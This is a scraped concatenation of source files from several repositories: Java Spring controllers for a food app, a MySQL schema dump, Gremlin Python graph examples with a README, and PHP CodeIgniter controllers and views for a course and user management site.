ENGINE = InnoDB AUTO_INCREMENT = 35 CHARACTER SET = latin1 COLLATE = latin1_swedish_ci ROW_FORMAT = Compact; SET FOREIGN_KEY_CHECKS = 1; <file_sep>package io.renren.modules.topic.controller; import io.renren.common.utils.R; import io.renren.fegin.TopicFegin; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; import java.util.Map; /** * @author lyf * @date 2020/8/8-9:25 */ @RestController @RequestMapping("doget/topic") public class TopicInfoController { @Autowired TopicFegin topicFegin; @GetMapping("info/list") public R doGet(@RequestParam Map<String, Object> params){ R list = topicFegin.list(params); return R.ok().put("page",list.get("page")); } @DeleteMapping("del/info") public R del(@RequestBody Integer[] ids){ topicFegin.delete(ids); return R.ok(); } } <file_sep>package com.lyf.check.food.service.impl; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.TypeReference; import com.lyf.check.food.entity.FoodInfoEntity; import com.lyf.check.food.entity.FoodSpecialInfomationEntity; import com.lyf.check.food.fegin.SearchFeignService; import com.lyf.check.food.service.FoodSpecialInfomationService; import com.lyf.check.food.vo.FoodSpecialVo; import com.lyf.check.food.vo.GetSpecialNamesVo; import com.lyf.common.exception.MyEsException; import com.lyf.common.model.FoodSpecialModel; import com.lyf.common.utils.R; import com.sun.org.apache.bcel.internal.generic.NEW; import org.apache.commons.lang.StringUtils; import org.eclipse.jetty.util.StringUtil; import org.springframework.beans.BeanUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.stereotype.Service; import java.time.LocalDate; import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.concurrent.TimeUnit; import java.util.stream.Collectors; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import com.lyf.common.utils.PageUtils; import com.lyf.common.utils.Query; import com.lyf.check.food.dao.FoodSpecialDao; import com.lyf.check.food.entity.FoodSpecialEntity; import com.lyf.check.food.service.FoodSpecialService; import org.springframework.transaction.annotation.Transactional; @Service("foodSpecialService") public class FoodSpecialServiceImpl extends ServiceImpl<FoodSpecialDao, FoodSpecialEntity> implements FoodSpecialService { @Autowired FoodSpecialInfomationService foodSpecialInfomationService; @Autowired SearchFeignService searchFeignService; @Autowired StringRedisTemplate stringRedisTemplate; @Override public PageUtils queryPage(Map<String, Object> params) { String specialName = (String)params.get("specialName"); IPage<FoodSpecialEntity> page = this.page( new Query<FoodSpecialEntity>().getPage(params), new QueryWrapper<FoodSpecialEntity>().like("name",specialName) ); return new PageUtils(page); } @Override public List<GetSpecialNamesVo> queryName() { List<FoodSpecialEntity> entities = this.getBaseMapper().selectList(null); List<GetSpecialNamesVo> collect = entities.stream().map(value -> { GetSpecialNamesVo vo = new GetSpecialNamesVo(); vo.setId(value.getId()); vo.setName(value.getName()); return vo; }).collect(Collectors.toList()); return collect; } @Override @Transactional public void add(FoodSpecialVo vo) { FoodSpecialEntity foodSpecialEntity = new FoodSpecialEntity(); BeanUtils.copyProperties(vo,foodSpecialEntity); LocalDate now = LocalDate.now(); foodSpecialEntity.setCreateTime(String.valueOf(now)); this.save(foodSpecialEntity); FoodSpecialInfomationEntity foodSpecialInfomationEntity = new FoodSpecialInfomationEntity(); BeanUtils.copyProperties(vo,foodSpecialInfomationEntity); foodSpecialInfomationEntity.setSId(foodSpecialEntity.getId()); foodSpecialInfomationEntity.setImgurl(vo.getImgurlBig()); foodSpecialInfomationService.save(foodSpecialInfomationEntity); //TODO 将数据发送给es进行保存,远程调用lyf--search服务 FoodSpecialModel foodSpecialModel = new FoodSpecialModel(); foodSpecialModel.setId((long)foodSpecialEntity.getId()); foodSpecialModel.setName(foodSpecialEntity.getName()); foodSpecialModel.setImgurl(foodSpecialEntity.getImgurl()); foodSpecialModel.setCreateTime(String.valueOf(now)); R r1 = searchFeignService.foodSave(foodSpecialModel); if ((int) r1.get("code") != 0) { // ES失败,抛出异常 throw new MyEsException(); } } @Transactional @Override public void updateBySid(FoodSpecialVo vo) { FoodSpecialEntity foodSpecialEntity = new FoodSpecialEntity(); BeanUtils.copyProperties(vo,foodSpecialEntity); LocalDate now = LocalDate.now(); foodSpecialEntity.setCreateTime(String.valueOf(now)); this.updateById(foodSpecialEntity); FoodSpecialInfomationEntity foodSpecialInfomationEntity = new FoodSpecialInfomationEntity(); BeanUtils.copyProperties(vo,foodSpecialInfomationEntity); foodSpecialInfomationEntity.setImgurl(vo.getImgurlBig()); foodSpecialInfomationEntity.setSId(foodSpecialEntity.getId()); foodSpecialInfomationService.getBaseMapper().update(foodSpecialInfomationEntity, new QueryWrapper<FoodSpecialInfomationEntity>().eq("s_id",foodSpecialEntity.getId())); //TODO 将数据发送给es进行保存,远程调用lyf--search服务 FoodSpecialModel foodSpecialModel = new FoodSpecialModel(); foodSpecialModel.setId((long)foodSpecialEntity.getId()); foodSpecialModel.setName(foodSpecialEntity.getName()); foodSpecialModel.setImgurl(foodSpecialEntity.getImgurl()); foodSpecialModel.setCreateTime(String.valueOf(now)); R r1 = searchFeignService.foodSave(foodSpecialModel); if ((int) r1.get("code") != 0) { // ES失败,抛出异常 throw new MyEsException(); } } @Override public FoodSpecialVo getInfomatinoById(Integer id) { FoodSpecialEntity byId = this.getById(id); FoodSpecialVo vo = new FoodSpecialVo(); BeanUtils.copyProperties(byId,vo); FoodSpecialInfomationEntity foodSpecialInfomationEntity = foodSpecialInfomationService.getBaseMapper().selectOne( new QueryWrapper<FoodSpecialInfomationEntity>().eq("s_id", byId.getId())); vo.setImgurlBig(foodSpecialInfomationEntity.getImgurl()); vo.setContent(foodSpecialInfomationEntity.getContent()); vo.setSId(foodSpecialInfomationEntity.getSId()); return vo; } }<file_sep>package io.renren.modules.food.controller; import io.renren.common.utils.R; import io.renren.fegin.FoodSortFegin; import io.renren.modules.food.vo.UpdatefoodVo; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; /** * @author lyf * @date 2020/8/4-18:39 */ @RestController @RequestMapping("/food/info") public class FoodInfoController { @Autowired FoodSortFegin foodSortFegin; @GetMapping("doget/info/{foodId}") public R doget(@PathVariable Integer foodId){ R r = foodSortFegin.selects(foodId); return R.ok().put("data",r.get("data")); } @PostMapping("save/food") public R save(@RequestBody UpdatefoodVo updatefoodVo){ System.out.println("----testf---"+updatefoodVo.toString()); foodSortFegin.save(updatefoodVo); return R.ok(); } @DeleteMapping("del/food") public R del(@RequestBody Integer[] ids){ foodSortFegin.deletes(ids); return R.ok(); } @DeleteMapping("delete/food") public R delete(@RequestBody Integer[] ids){ foodSortFegin.del(ids); return R.ok(); } } <file_sep>/* Navicat Premium Data Transfer Source Server : centos Source Server Type : MySQL Source Server Version : 50647 Source Host : 192.168.230.129:3306 Source Schema : lyf_food Target Server Type : MySQL Target Server Version : 50647 File Encoding : 65001 Date: 17/10/2020 19:27:59 */ SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- -- Table structure for food_attr -- ---------------------------- DROP TABLE IF EXISTS `food_attr`; CREATE TABLE `food_attr` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '食物属性id', `food_id` int(11) DEFAULT NULL COMMENT '食物id', `attgroup_id` int(11) DEFAULT NULL COMMENT '属性组id', `attr_name` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '属性名', `attr_value` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '属性值', PRIMARY KEY (`id`) USING BTREE, INDEX `food_id`(`food_id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 772 CHARACTER SET = gbk COLLATE = gbk_bin ROW_FORMAT = Compact; -- ---------------------------- -- Table structure for food_attr_group -- ---------------------------- DROP TABLE IF EXISTS `food_attr_group`; CREATE TABLE `food_attr_group` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '属性组id', `group_name` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '属性组名', `search` tinyint(5) NOT NULL DEFAULT 0 COMMENT '0不可被检索,1可被检索', PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 5 CHARACTER SET = gbk COLLATE = gbk_bin ROW_FORMAT = Compact; -- ---------------------------- -- Table structure for food_category_relation -- ---------------------------- DROP TABLE IF EXISTS `food_category_relation`; CREATE TABLE `food_category_relation` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '关联id', `food_id` int(11) DEFAULT NULL COMMENT '食物id', `category_id` int(11) DEFAULT NULL COMMENT '分类id', `food_name` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '食物名称', `category_name` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '分类名称', PRIMARY KEY (`id`) USING BTREE, INDEX `food_id`(`food_id`) USING BTREE, INDEX `category_id`(`category_id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 129 CHARACTER SET = gbk COLLATE = gbk_bin ROW_FORMAT = Compact; -- ---------------------------- -- Table structure for food_images -- ---------------------------- DROP TABLE IF EXISTS `food_images`; CREATE TABLE `food_images` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '食物图片id', `food_id` int(11) DEFAULT NULL COMMENT '食物id', `images_url` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '图片地址', `type` tinyint(10) DEFAULT NULL COMMENT '0为默认图片,1为非默认图片', PRIMARY KEY (`id`) USING BTREE, INDEX `food_id`(`food_id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 108 CHARACTER SET = gbk COLLATE = gbk_bin ROW_FORMAT = Compact; -- ---------------------------- -- Table structure for food_info -- ---------------------------- DROP TABLE IF EXISTS `food_info`; CREATE TABLE `food_info` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT 'food_id', `title` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '食物标题', `descrit` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '食物描述', `user_id` int(11) DEFAULT NULL COMMENT '用户id', `status` tinyint(5) NOT NULL DEFAULT 0 COMMENT '是否显示(0显示,1不显示)', `auditing` tinyint(5) NOT NULL DEFAULT 1 COMMENT '审核状态(0审核通过,1没通过,2表示不通过)', `s_id` int(11) DEFAULT NULL COMMENT '所属专题', `create_time` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '创建时间', PRIMARY KEY (`id`) USING BTREE, INDEX `user_id`(`user_id`) USING BTREE, INDEX `s_id`(`s_id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 115 CHARACTER SET = gbk COLLATE = gbk_bin ROW_FORMAT = Compact; -- ---------------------------- -- Table structure for food_special -- ---------------------------- DROP TABLE IF EXISTS `food_special`; CREATE TABLE `food_special` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '专题id', `name` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '专题名字', `imgurl` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '专题图片', `status` tinyint(4) NOT NULL DEFAULT 0 COMMENT '显示状态(0显示,1不显示)', `create_time` varchar(100) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '创建时间', PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 63 CHARACTER SET = gbk COLLATE = gbk_bin ROW_FORMAT = Compact; -- ---------------------------- -- Table structure for food_special_infomation -- ---------------------------- DROP TABLE IF EXISTS `food_special_infomation`; CREATE TABLE `food_special_infomation` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '专题详情id', `imgurl` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '详情图片', `content` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '详情内容', `s_id` int(11) DEFAULT NULL COMMENT '相关专题id', PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 62 CHARACTER SET = gbk COLLATE = gbk_bin ROW_FORMAT = Compact; -- ---------------------------- -- Table structure for food_step -- ---------------------------- DROP TABLE IF EXISTS `food_step`; CREATE TABLE `food_step` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '步骤id', `food_id` int(11) DEFAULT NULL COMMENT '食物id', `content` varchar(255) CHARACTER SET gbk COLLATE gbk_bin DEFAULT NULL COMMENT '步骤讲解', PRIMARY KEY (`id`) USING BTREE, INDEX `food_id`(`food_id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 598 CHARACTER SET = gbk COLLATE = gbk_bin ROW_FORMAT = Compact; -- ---------------------------- -- Table structure for t_sort -- ---------------------------- DROP TABLE IF EXISTS `t_sort`; CREATE TABLE `t_sort` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL, `parent_id` int(11) DEFAULT NULL, `level` int(11) DEFAULT NULL, `show_status` tinyint(4) DEFAULT 1, `sort` int(11) DEFAULT 0, `icon` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL, PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 340 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact; SET FOREIGN_KEY_CHECKS = 1;
c0fcc41982906899302f26c7e58550bbf4b5fcd1
[ "Java", "SQL" ]
8
Java
lyfsir/check
1cd26d789d8d435000668eae8862c276c9296c2a
5d9801207e3ad87c18c1d62bab45aa4cb775a441
refs/heads/master
<repo_name>anklavez/org-management<file_sep>/settings.gradle rootProject.name = 'orgmanagement' <file_sep>/src/main/java/com/eagle6/orgmanagement/config/package-info.java /** * Spring Framework configuration files. */ package com.eagle6.orgmanagement.config; <file_sep>/src/main/java/com/eagle6/orgmanagement/security/package-info.java /** * Spring Security configuration. */ package com.eagle6.orgmanagement.security;
9150e836df7d9c2a464afb378faeed3191b633ad
[ "Java", "Gradle" ]
3
Gradle
anklavez/org-management
cfe52d0bfceba84716a75cedf5266ecd36bf67ab
9d8ec3485c013827ea9fa96a2936e99d8b2643bf
refs/heads/master
<repo_name>michellecolon/github_demo<file_sep>/README.md # Cool demo project Just to show off git + github<file_sep>/javascript/1.js console.log("This is my example");
6417365400cbef2ca92461b4afcfefdd6f9d7250
[ "Markdown", "JavaScript" ]
2
Markdown
michellecolon/github_demo
c77ff13f6ea8588eb0070240ea614cf0fc63c524
23bafd6cd15cdc517dc879c68b94cd1216fc4f16
refs/heads/main
<file_sep># US Historical Inflation Very simple dataset and plotting app. #### Source of Data: Prepared by the Utah Department of Workforce Services from tabulations published by Bureau of Labor Statistics, United States Department of Labor [Link](https://jobs.utah.gov/wi/data/library/wages/uscpihistory.html) <file_sep>#!/usr/bin/python3 # # import csv import numpy as np import matplotlib.pyplot as plt import matplotlib.dates as dates from matplotlib.dates import DayLocator from decimal import Decimal fname = 'inflByYr.txt' #fname = 'inflByYr1971.txt' base_year = 1977 # ## Data sample #Jul 1, 2020 0.99% #Jan 1, 2020 2.49% #Jan 1, 2019 1.55% #Jan 1, 2018 2.07% #Jan 1, 2017 2.50% # # Data Source # https://jobs.utah.gov/wi/data/library/wages/uscpihistory.html # State of Utah # #Year,U,Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec,Avg,Prior yrs = [] pct = [] # percent inflation cumul = [] # cumulative cost of living with open(fname, mode='r', encoding="UTF-8", newline='') as f: for l in f: st_yr = l[7:11] st_pct = l.split('\t')[1] st_pct = st_pct[:-2] #print(st_yr, st_pct, '%') yrs.append(int(st_yr)) pct.append(float(st_pct)) print('loaded: ',len(yrs), ' data years') yrs.reverse() pct.reverse() cpi = 1.00 for i,y in enumerate(yrs): cumul.append(cpi) cpi *= 1.0 + pct[i]/100.0 yi = yrs.index(base_year) norm = cumul[yi] for i,c in enumerate(cumul): c /= norm cumul[i] = c plt.figure(1) #ax=plt.axes() #ax.xaxis.set_major_formatter(dates.DateFormatter('%H:%M %d.%m.%Y')) #ax.xaxis.set_minor_locator(DayLocator()) p1 = plt.plot(yrs,pct,linestyle='solid') plt.ylabel('1-yr Inflation (%)') plt.title('Rate of Inflation') plt.grid() #plt.grid(axis='x',which='minor') plt.figure(2) p2 = plt.plot(yrs,cumul) plt.grid() plt.ylabel('Cost' ) plt.title('Cumulative Cost of Living Relative to '+str(base_year)) plt.show()
8b85194b4f7e35e173cb532e078027bc22eb87dd
[ "Markdown", "Python" ]
2
Markdown
blake5634/US-Historical-Inflation
9353584246c41e21dbe4f22f8bcc07d8a838c129
521f6a6b64aa8b2f551895e3859ffe056fc67f55
refs/heads/master
<file_sep>#!/bin/bash # Copyright 2020 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. set -x #echo on echo "Publishing devtools_* packages" pushd packages/devtools_shared flutter pub publish --force popd pushd packages/devtools_server flutter pub publish --force popd pushd packages/devtools_testing flutter pub publish --force popd pushd packages/devtools_app flutter pub publish --force popd pushd packages/devtools flutter pub publish --force popd
a54024eba5a7b24e6dc4959a614c9f1e546bd35f
[ "Shell" ]
1
Shell
abdulkadirlevent/devtools
1b3bbbd57929dcc3be988988e92e83543f08636d
e54bf7b1a7ff9edd980a1bea2617e5019c917dd0
refs/heads/master
<file_sep># importing libs from gremlin_python import statics from gremlin_python.structure.graph import Graph from gremlin_python.process.graph_traversal import __ from gremlin_python.driver.driver_remote_connection import DriverRemoteConnection import pandas as pd # creating and instantiating connection with gremlin connection = DriverRemoteConnection('ws://localhost:8182/gremlin', 'g') # creating and instantiating graph graph = Graph() g = graph.traversal().withRemote(connection) # (optional) clearing up graph def wiping_out_graph(): g.V().drop().iterate() g.E().drop().iterate() g.V().count().next() g.E().count().next() print("graph cleared!") wiping_out_graph() # adding dummy vertices g.addV("person").property("name","macus").property("entity_id",1).next() g.addV("person").property("name","jason").property("entity_id",2).next() g.addV("person").property("name","jane").property("entity_id",3).next() # querying the vertices we just added g.V().hasLabel('person').valueMap().toList() # adding edge g.V(g.V().has('entity_id',1).next()).addE('knows').to(g.V().has('entity_id',2).next()).next() # querying who jason knows g.V().has('name','jason').out().valueMap().next() # querying who knows jason g.V().has('name','jason').in_().valueMap().next() <file_sep># whats going on Let's struggle together using gremlinpython <br/> ### how to install it<br/> pip install gremlinpython<br/> For the super beginners, I'll leave simple stuff that I know how to do. Those files will have the prefix "OK_" in the name. <br/> What I mean by simple stuff is how to create vertices and edges as well as how to run queries.<br/> I'll have in this repo examples of things that I know how to do using pure gremlin (gremlin-console)<br/> and I don't know how to do using gremlinpython.<br/> Example:<br/> I'll have a file called "_finding_one_simple_query.py" and "_finding_one_simple_query.txt". In the second file, I'll post everything I did <br/> using gremlin-console. In the first, I'll show how I tried to do that but did not manage to succeed. <br/> <br/> "_finding_one_simple_query.txt"<br/> graph = TinkerGraph.open()<br/> g = graph.traversal()<br/> g.addV('employee').property('name','rico').property('position','data guy')<br/> g.V().has('name','rico').values().fold()<br/> ==> `[rico,data_guy]`<br/> "_finding_one_simple_query.py"<br/> from gremlin_python.structure.graph import Graph<br/> graph = Graph()<br/> g = graph.traversal()<br/> g.addV("employee").property("name", "rico").property('position','data guy')<br/> my_stuff = g.V().has('name','rico').values()<br/> In `[39]`: my_stuff<br/> Out`[39]`: `[['V'], ['has', 'name', 'rico'], ['values'], ['values', '_ipython_display_']]`<br/> ^^^^<br/> As we can see above the result is not the same :(<br/> My first attempt was to get thiings from this object that looks like a list<br/> using index position e.g. `my_stuff[0]`<br/> After trying that, I've go this error: `TypeError: NoneType object is not an iterator`<br/> leaving some sample stuff with what I discovered by myself. <br/> happy to receive help with the things I'm struggling with.<br/> <file_sep>from gremlin_python.structure.graph import Graph # creating the graph graph = Graph() # creating the traversal g = graph.traversal() # adding the vertex g.addV("employee").property("name", "rico").property('position','data guy') # running the query my_stuff = g.V().has('name','rico').values() # unfortunatelly, the result is not the same as the one gremlin-console provides... # ??? how could we get simmilar result using python?
88d5e7b9762773d54cf5a3e3f30a0604dc55208e
[ "Markdown", "Python" ]
3
Python
Munduruca/gremlinpython-fml
56452e0228521b973e2fc52e1d9fa2fc8cca1c86
eccde0589f2add5b01b0b4862ecc37510366d4f0
refs/heads/master
<file_sep><?php namespace App\Controllers\Admin; use App\Controllers\BaseController; use App\Models\UsersModel; class Users extends BaseController { function __construct() { $this->email = \Config\Services::email(); $this->session = \Config\Services::session(); $this->session->start(); } public function index() { if (session('login')){ $obj=new UsersModel(); $selected_data['Users']=$obj->selectallUsers(); $this->loadview('admin/Users/index',"Users",$selected_data); } else { echo "you cant login to this page"; } } //______________________________________________________________________________________________________________________________ public function add(){ if ( strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ){ $fname= $this->request->getPost('fname'); $lname=$this->request->getPost('lname'); $email= $this->request->getPost('email'); $password=$this->request->getPost('password'); $cpassword= $this->request->getPost('cpassword'); $is_suspend=$this->request->getPost('suspend'); $add=$this->request->getPost('add'); $epassword=md5($password); $rules = [ 'fname' =>[ 'label' => 'First name', 'rules' => 'required|alpha_space' ], 'lname' =>[ 'label' => 'Last name', 'rules' => 'required|alpha_space' ], 'email' => [ 'label' => 'E-mail', 'rules' => 'required|valid_email|is_unique[users.email]' ], 'password' => [ 'label' => 'Password', 'rules' => 'required|min_length[4]|max_length[24]' ], 'cpassword' => [ 'label' => 'Confirm Password', 'rules' => 'required|matches[password]' ], ]; if (!$this->validate($rules)) { $errors=$this->errors = $this->validator->getErrors(); echo json_encode($errors);; }else{ if($add==1){ $admin=0; $not_approveed=0; $this->sendEmail($email); } if($add==2){ $admin=0; $not_approveed=1;} $obj=new UsersModel(); $obj->add($fname, $lname,$email,$epassword,$is_suspend,$admin,$not_approveed); echo true; } }//end if post } //_________________________________________________________________________________________________________________________ public function getdata(){ if (strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ) { $userid = $this->request->getPost('uid'); $obj=new UsersModel(); $selected_data=$obj->getuserRow($userid); echo json_encode($selected_data); } } //_______________________________________________________________________________________________ public function edit(){ $obj=new UsersModel(); if ( strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ){ $uid= $this->request->getPost('uid'); $fname = $this->request->getPost('fname'); $lname = $this->request->getPost('lname'); $email = $this->request->getPost('email'); $password = $this->request->getPost('password'); $cpassword = $this->request->getPost('cpassword'); $suspend=$this->request->getPost('suspend'); if($password==null){ $selected_data=$obj->getuserRow($uid); $epassword=$selected_data["password"]; }else $epassword=md5($password); $rules = [ 'fname' => [ 'label' => 'First name', 'rules' => 'required|alpha_space' ], 'lname' => [ 'label' => 'Last name', 'rules' => 'required|alpha_space' ], 'email' => [ 'label' => 'E-mail', 'rules' => 'required|valid_email|is_unique[users.email,id,'.$uid.']' ], 'password' => [ 'label' => 'Password', 'rules' => 'permit_empty|min_length[4]|max_length[24]' ], 'cpassword' => [ 'label' => 'Confirm Password', 'rules' => 'permit_empty|matches[password]' ], ]; if (!$this->validate($rules)) { $errors=$this->validator->getErrors(); echo json_encode($errors);; } else{ $obj->edituser($uid,$fname, $lname,$email,$epassword,$suspend); echo true; }//end else error }//end if post } //____________________________________________________________________________________________ public function newUsers(){ $obj=new UsersModel(); $selected_data['Users']=$obj->selectnewusers(); $this->loadview('admin/Users/NewUsers',"New Users",$selected_data); } //_____________________________________________________________________________________________________ public function approveAccount(){ $uid= $this->request->getPost('uid'); $email= $this->request->getPost('email'); $this->sendEmail($email); $obj=new UsersModel(); return $obj->approveAccount($uid); } //________________________________________________________________________________ public function sendEmail($email){ $this->email->setTo($email); $this->email->setFrom('<EMAIL>'); $this->email->setSubject('Registeration confirmation'); $this->email->setMessage('Thank you for joining us and welcome to our website. You can now login '); $this->email->send(); } } ?> <file_sep><div class="body-content"> <div class="coursematerial p-0 p-md-5"> <div class="col-12 mb-5 text-center " ><h2><?php echo $course["title"]?></h2></div> <div class="mt-5 row"> <div class="col-12 col-md-6"> <div>Course Description:</div> <div><?php echo $course["description"]?></div> </div> <div class="col-6 col-md-6"><img class="courseimg img-thumbnail"src="<?php echo $course["img_path"];?>"></div> </div> <?php if (session('login')) : ?> <div class="mt-5 row "> <div class="col-12 col-md-6"> <div>pdf materials:</div> <div> <a download href="<?php echo base_url('uploads/'.$course["pdf_path"]) ?>"><i class="fas fa-file-pdf"></i>open and download pdf</a></div> </div> <div class="col-12 col-md-6"> <iframe class=" coursevideo img-thumbnail"src=<?php echo $course["video_link"]?>></iframe> </div> </div> <?php endif; ?> <?php if (!session('login')) : ?> <div class="mt-5 row "> <div class="col-12 col-md-6"> <div>pdf and video materials:</div> <div class="text-secondary"><i class="fas fa-file-pdf"></i> ...hide...</div> </div> </div> <?php endif; ?> <div class="col-12 text-muted"><?php echo $course["date"]?></div> </div> <div id="carouselExampleControls" class="carousel slide " data-ride="carousel"> <div class="carousel-inner slider"> <div class="carousel-item active "> <img src="https://miami.asa.edu/wp-content/uploads/2019/09/ab45136d-828f-44e3-bbf5-5f04173c8cd9.jpg" class="img-thumbnail slidercourseImage rounded mx-auto d-block mt-5 mb-5" alt="Welcome"> </div> <?php foreach ($relatedcourse as $course) { ?> <div class="carousel-item text-center"> <?php $courseid=$course["course_id"]; $coursetitle=$course["title"]; $categoryid=$course["categoryid"];?> <a class="nav-link nav-custom-link set-item-center"href="<?php echo base_url("Users/singleCourse/index/?courseid=$courseid&coursetitle=$coursetitle&categoryid=$categoryid");?>"> <span class="mb-5 "><?php echo $course["title"]; ?></span> <img src="<?php echo $course["img_path"]; ?>" class=" img-thumbnail slidercourseImage rounded mx-auto d-block mb-3" alt="<?php echo $course["title"]; ?>" > </a> </div> <?php }?> </div> <a class="carousel-control-prev" href="#carouselExampleControls" role="button" data-slide="prev"> <span class="carousel-control-prev-icon" aria-hidden="true"></span> <span class="sr-only">Previous</span> </a> <a class="carousel-control-next" href="#carouselExampleControls" role="button" data-slide="next"> <span class="carousel-control-next-icon" aria-hidden="true"></span> <span class="sr-only">Next</span> </a> </div> </div><file_sep><div class="body-content "> <div class="row d-flex justify-content-evenly"> <div class="w-100 mb-3"> <div class="col-lg-4 col-md-12 float-right"> <div class="form-group input-group input-group-sm my-auto"> <label class="input-group-prepend" for="sort"> <span class="input-group-text">Sort By:</span> </label> <select id="sort" class="form-control sort" > <option value="1">Course title (A-Z)</option> <option value="2">Course title (Z-A)</option> <option value="3"selected="selected">Date (new-old)</option> <option value="4">Date (old-new)</option> </select> </div> </div> <div class="col-lg-4 col-md-12"> <div class="form-group input-group input-group-sm my-auto"> <label class="input-group-prepend" for="limit"> <span class="input-group-text">number of item in page</span> </label> <select id="limit" class="form-control"> <option value="1" >5</option> <option value="2"selected="selected">10</option> <option value="3">15</option> <option value="4">20</option> <option value="5">25</option> <option value="6"30>30</option> </select> </div> </div> </div> <?php foreach ($courses as $course) { ?> <div class="col-6 col-md-4 col-lg-3 col-xl-2 align-items-stretch card ml-4 mr-3 mb-5"> <img src="<?php echo $course["img_path"]; ?>" class="mt-2 card-img-top img-thumbnail cardimage" alt="<?php echo $course["title"]; ?>"> <div class="card-body"> <div class="card-title p-0 p-lg-3"> <p class="font-weight-bold"><?php echo $course["title"]; ?></p></div> <div class="card-content p-0 p-lg-3"><p class=""><?php echo $course["description"]; ?></p></div> </div> <?php $courseid=$course["course_id"]; $coursetitle=$course["title"];$categoryid=$course["categoryid"]?> <div class=" text-center link_to_course pb-2"><a class="" href="<?php echo base_url("Users/singleCourse/index/?courseid=$courseid&coursetitle=$coursetitle&categoryid=$categoryid");?>">Go To Course</a></div> </div> <?php }?> </div> <div class="d-flex justify-content-center"> <nav > <ul class="pagination pagination-lg col-6"> <?php for($pagenum=1;$pagenum<=$count_of_page;$pagenum++):?> <li class="page-item"id=<?php echo $pagenum;?>><button class="page-link paginationbtn"><?php echo $pagenum?></button></li> <?php endfor?> </ul> </nav> </div> </div> <!--_________________________________________________________________________---> <script> //save selected value from sort select in localstorage var selected = localStorage.getItem('sorttype'); if (selected) { $("#sort").val(selected);//rest value by selected value } $("#sort").change(function() { localStorage.setItem('sorttype', $(this).val());//return 1 2 3 4 => title a-z,z-a,date new-old,date old-new switch($(this).val()) { case '1': { localStorage.setItem('sortype','ASC'); localStorage.setItem('sortby','title'); } break; case '2': { localStorage.setItem('sortype','DESC'); localStorage.setItem('sortby','title'); } break; case '3': { localStorage.setItem('sortype','DESC'); localStorage.setItem('sortby','date'); } break; case '4': { localStorage.setItem('sortype','ASC'); localStorage.setItem('sortby','date'); } break; } if(localStorage.getItem('fromcategory')==2){ var catid=localStorage.getItem('catid'); var cattitle=localStorage.getItem('cattitle') setcategoryurl(catid,cattitle); } else{ seturl(); } }); //____________________________________________________________________________________ var limited = localStorage.getItem('limitval'); if (limited) { $("#limit").val(limited); }//end if $("#limit").change(function() { localStorage.setItem('limitval', $(this).val()); switch($(this).val()) { case '1': { localStorage.setItem('limitnum',5);} break; case '2': { localStorage.setItem('limitnum',10);} break; case '3': { localStorage.setItem('limitnum',15);} break; case '4': { localStorage.setItem('limitnum',20);} break; case '5': { localStorage.setItem('limitnum',25);} break; case '6': { localStorage.setItem('limitnum',30);} break; } if(localStorage.getItem('fromcategory')==2){ var catid=localStorage.getItem('catid'); var cattitle=localStorage.getItem('cattitle') setcategoryurl(catid,cattitle); } else{ seturl(); } }); //______________________________________________________________________ $(".paginationbtn").click(function(){ var pagenumber=$(this).parent("li").attr("id"); localStorage.setItem('pagenum',pagenumber); 